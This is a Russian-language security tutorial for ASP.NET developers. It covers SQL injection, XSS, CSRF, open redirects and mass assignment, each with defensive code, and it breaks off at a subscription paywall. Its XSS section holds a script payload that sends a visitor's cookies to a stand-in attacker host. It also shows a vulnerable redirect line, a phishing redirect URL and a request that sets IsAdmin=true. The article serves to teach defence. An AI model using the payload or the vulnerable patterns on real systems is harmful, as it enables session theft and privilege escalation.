ASP.NET MVC — не самый хайповый, но довольно популярный стек в среде веб-разработчиков. С точки зрения (анти)хакера, его стандартная функциональность дает тебе кое-какой базовый уровень безопасности, но для предохранения от абсолютного большинства хакерских трюков нужна дополнительная защита. В этой статье мы рассмотрим основы, которые должен знать о безопасности ASP.NET-разработчик (будь то Core, MVC, MVC Razor или Web Forms).

Начнем со всем известных видов атак.

 

SQL Injection

Как ни странно, но в 2017 году injection и, в частности, SQL injection находятся на первом месте среди «Toп-10 рисков безопасности OWASP» (Open Web Application Security Project). Этот вид атаки подразумевает, что введенные пользователем данные используются на серверной стороне в качестве параметров запроса.

Пример классической SQL-инъекции скорее характерен именно для приложений Web Forms. От атак помогает защититься использование параметров в качестве значений запроса:

string commandText = "UPDATE Users SET Status = 1 WHERE CustomerID = @ID;";
SqlCommand command = new SqlCommand(commandText, connectionString);
command.Parameters["@ID"].Value = customerID;

Если ты разрабатываешь MVC-приложение, то Entity Framework прикрывает некоторые уязвимости. Получить сработавшую в MVC/EF-приложении SQL-инъекцию нужно умудриться. Однако это возможно, если ты выполняешь SQL-код с помощью ExecuteQuery или вызываешь плохо написанные хранимые процедуры.

Несмотря на то что ORM позволяет избежать SQL-инъекции (за исключением приведенных выше примеров), рекомендуется ограничивать атрибутами значения, которые могут принимать поля модели, а значит, и формы. Например, если подразумевается, что в поле может быть введен только текст, то с помощью Regex укажи диапазон ^[a-zA-Z]+$. А если в поле должны быть введены цифры, то укажи это как требование:

[RegularExpression(@"\d{5}", ErrorMessage = "Индекс должен содержать 5 цифр")]
public  string Zip {  get;  set; }

В Web Forms ограничить значения можно с помощью валидаторов. Пример:

<asp:TextBox id="txtName" runat="server"></asp:TextBox>
<asp:RegularExpressionValidator id="nameRegex" runat="server" ControlToValidate="txtName"
    ValidationExpression="^[a-zA-Z'.\s]{1,40}$" ErrorMessage="Ошибочное значение в поле имени" />

Начиная с .NET 4.5 Web Forms используют Unobtrusive Validation. А это значит, что не требуется писать какой-то дополнительный код для проверки значения формы.

Валидация данных, в частности, может помочь защититься от еще одной всем известной уязвимости под названием cross-site scripting (XSS).

 

XSS

Типичный пример XSS — добавление скрипта в комментарий или запись в гостевую книгу. Выглядеть он может так:

<script>document.location='https://verybadcoolhacker.com/?cookie='+encodeURIComponent(document.cookie)</script>

Как ты понимаешь, в данном примере куки с твоего сайта передаются в качестве параметра на какой-то хакерский ресурс.

В Web Forms можно совершить ошибку с помощью примерно такого кода:

<p>Извините <%= username %>, но пароль ошибочный</p>

Понятно, что вместо username может быть скрипт. Чтобы избежать выполнения скрипта, можно как минимум использовать другое ASP.NET-выражение: <%: username %>, которое энкодит свое содержимое.

Если мы используем Razor, то строки автоматически энкодируются, что сводит возможность реализации XSS к минимуму — хакер сможет ее провернуть, только если ты грубо ошибешься, например используешь @Html.Raw(Model.username) или заюзаешь в своей модели MvcHtmlString вместо string.

Для дополнительной защиты от XSS данные кодируются еще и в коде C#. В .NET Core можно использовать следующие кодеры из пространства имен System.Text.Encodings.Web: HtmlEncoder, JavaScriptEncoder и UrlEncoder.

Следующий пример вернет строку <script>:

string encodedString = HtmlEncoder.Default.Encode("<script>");

В классическом .NET используется HttpUtility.HtmlEncode. А начиная с .NET 4.5 можно сделать AntiXssEncoder энкодером по умолчанию. Делается это добавлением в тег httpRuntime файла web.config одного атрибута:

<httpRuntime targetFramework="4.7" encoderType="System.Web.Security.AntiXss.AntiXssEncoder" />

Таким образом, сохранив старый код HttpUtility.HtmlEncode, мы будем пользоваться новым и более стойким к уязвимостям классом (также в новом коде будут задействованы старые классы HttpServerUtility и HttpResponseHeader).

Рекомендуется кодировать строки не перед сохранением в базу, а перед отображением. Кроме того, если мы используем какую-то строку, введенную пользователем, в качестве параметра для передачи в URL, то обязательно нужно юзать UrlEncoder.

 

Cross-Site Request Forgery (CSRF)

Википедия в «алиэкспрессовском» стиле утверждает, что на русском CSRF звучит как «межсайтовая подделка запроса». При таком типе атаки вредоносный сайт, на который заходит пользователь, отправляет запросы на другой ресурс. На хороший сайт, на котором пользователь зарегистрирован и который он недавно посещал. Может случиться так, что информация об авторизации на хорошем сайте все еще остается в cookie. Тогда вполне может быть совершено и какое-то скрытое вредоносное действие.

Избежать этой атаки в MVC помогает всем известный хелпер @Html.AntiForgeryToken(), добавленный во View, и добавленный перед action контроллера атрибут [ValidateAntiForgeryToken]. Этот способ защиты относится к типу STP (synchronizer token pattern). Суть в том, что при заходе на страницу сервер отправляет пользователю токен, а после того, как пользователь совершает запрос, он вместе с данными отправляет токен серверу обратно для проверки. Токены могут сохраняться как в заголовке, так и в скрытом поле или в кукисах.

Страницы Razor защищены от XSRF/CSRF-атак по умолчанию. А вот если мы используем AJAX-запросы, то есть возможность отправить токены в заголовке. По сравнению с использованием AntiForgeryToken это не так просто. Для настройки этой возможности ASP.NET Core использует сервис Microsoft.AspNetCore.Antiforgery.IAntiforgery. Классические ASP.NET-приложения используют метод AntiForgery.GetTokens для генерации токенов и AntiForgery.Validate для проверки полученных серверной стороной токенов.

Подробнее можно почитать здесь: Anti-CSRF and AJAX.

 

Open redirect attacks

Будь осторожен с редиректами! Следующий код очень опасен:

Response.Redirect(Request.QueryString["Url"]);

Атакующий может добавить ссылку на свой сайт. А пользователь же, увидев, что URL начинается с хорошего сайта, может не рассмотреть адрес полностью (особенно если он длинный) и кликнуть ссылку, таким образом перейдя на вредоносный сайт с твоего, хорошего (у тебя же хорошие сайты?). Эта уязвимость может использоваться, в частности, для фишинга. Пример фишинговой ссылки:

http://www.goodwebsite.com/Redirect?url=http://www.badwebsite.com

Многие пользователи, получив email со ссылкой, смотрят, совпадает ли домен, и совсем не ожидают переброски на злодейский ресурс. А если по редиректу откроется страница с таким же дизайном, то многие пользователи не задумываясь введут свои логин и пароль (решив, что случайно вышли из аккаунта). После чего, кстати, могут быть перенаправлены злоумышленниками обратно на настоящий сайт.

Этот вид атак касается и MVC. В следующем примере происходит проверка на то, является ли ссылка локальной:

private ActionResult RedirectToLocalPage(string redirectUrl)
{
    if (Url.IsLocalUrl(redirectUrl))  return Redirect(redirectUrl);
    // ...
}

Для защиты от этого типа атак можно использовать и вспомогательный метод LocalRedirect:

private ActionResult RedirectToLocalPage(string redirectUrl)
{
    return LocalRedirect(redirectUrl);
}

В общем, старайся никогда не доверять полученным данным.

 

Mass assignment

Разберем эту уязвимость на примере. Допустим, в нашем веб-сайте есть простая модель с двумя свойствами:

public class UserModel
{
  public string Name { get; set; }
  public bool IsAdmin { get; set; }
}

И есть обычная и довольно простая вьюшка:

@model UserModel

<form asp-action="Vulnerable" asp-Controller="Home">
    <div class="form-group">
        <label asp-for="Name"></label>
        <input class="form-control" type="text" asp-for="Name" />
    </div>
    <div class="form-group">
        @if (Model.IsAdmin)
        {
            <i>You are an admin</i>
        }
        else
        {
            <i>You are a standard user</i>
        }
    </div>
    <button class="btn btn-sm" type="submit">Submit</button>
</form>

С помощью этой вьюшки можно редактировать только имя пользователя, не так ли?

А теперь давай перейдем к столь же простому коду:

[HttpPost]
public IActionResult Vulnerable(int id, UserModel model)
{
    return View("Index", model);
}

Все ли здесь нормально? Как оказывается, нет. А все из-за того, что экшен помечен как HttpPost. Чтобы убедится в этом, достаточно открыть утилиту вроде Postman или Fiddler и отправить POST-запрос на адрес с указанием параметров id и IsAdmin. Если мы тестируем локально, то адрес может быть таким: localhost:51696/Home/Vulnerable?id=34&IsAdmin=true.

Результат выполнения POST-запроса
Результат выполнения POST-запроса

Как видно на скриншоте, получен доступ к секретной информации (в HTML-коде есть строка You are an admin). Как защититься от этого типа атаки? Самый простой вариант — не попадать в ситуацию, когда с HttpPost передается какой-нибудь объект. А если этого не избежать, нужно быть готовым к тому, что передано может быть все что угодно. Один из вариантов — это создать какой-то отдельный класс для передачи его через HttpPost. Это может быть как базовый класс текущего класса с общедоступными параметрами, так и класс-двойник. В этом классе важные поля можно пометить атрибутом Editable со значением false:

[Editable(false)]

Продолжение доступно только подписчикам

Вариант 1. Оформи подписку на «Хакер», чтобы читать все материалы на сайте

Подписка позволит тебе в течение указанного срока читать ВСЕ платные материалы сайта. Мы принимаем оплату банковскими картами, электронными деньгами и переводами со счетов мобильных операторов. Подробнее о подписке

Вариант 2. Купи один материал

Заинтересовала информация, но нет возможности оплатить подписку? Тогда этот вариант для тебя! Обрати внимание: этот способ покупки доступен только для материалов, опубликованных более двух месяцев назад.


3 комментария

  1. bars

    25.12.2017 at 07:55

    спасибо! про конфигурирование IIS также было бы интересно почитать… 🙂

  2. robotobor

    25.12.2017 at 10:47

    Спасибо за статью. Про asp.net core и asp.net mvc побольше бы статей, уж очень платформа классная.

  3. r0uly

    08.01.2018 at 03:30

    Отличная статья, узнал пару новых вещей!

Оставить мнение

Check Also

Роскомнадзор vs Telegram. Итоги двух дней блокировки

Противостояние Роскомнадзора и мессенджера Telegram продолжается. Спустя два дня после нач…